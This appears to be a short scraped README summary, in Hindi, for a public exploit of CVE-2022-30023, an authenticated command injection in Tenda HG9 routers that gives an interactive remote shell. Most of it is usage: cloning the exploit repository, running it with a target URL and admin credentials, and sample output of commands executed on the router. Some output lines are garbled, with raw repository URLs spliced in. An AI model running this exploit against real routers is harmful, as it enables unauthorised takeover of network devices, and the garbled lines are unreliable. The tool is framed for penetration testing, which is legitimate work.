
Tenda HG9 राउटर के लिए प्रमाणित कमांड इंजेक्शन शोषण। पेनिट्रेशन परीक्षण और भेद्यता सत्यापन के लिए पायथन स्क्रिप्ट के माध्यम से इंटरैक्टिव रिमोट शेल एक्सेस प्रदान करता है।
Tenda HG9 राउटर पर प्रमाणित कमांड इंजेक्शन
git clone https://github.com/Haniwa0x01/CVE-2022-30023
cd CVE-2022-30023
python exploit.py -u http://target -U "user" -P "password"
pc@pc-note:~/CVE-2022-30023/$ python3 exploit.py -u "http://10.0.0.1" -U "admin" -P "admin"
[!]: https://raw.githubusercontent.com/haniwa0x01/cve-2022-30023/main/Logged!
[CMD]: ls -la
drwxrwxr-x 3 admin root 54 Jan 25 2021 .
drwxrwxr-x 3 admin root 28 Jan 25 2021 ..
-rwxrwxr-x 1 admin root 6306 Jan 25 2021 boa.conf
drwxrwxr-x 6 admin root 5129 Jan 25 2021 web
[CMD]:
https://raw.githubusercontent.com/haniwa0x01/cve-2022-30023/main/%60%60%60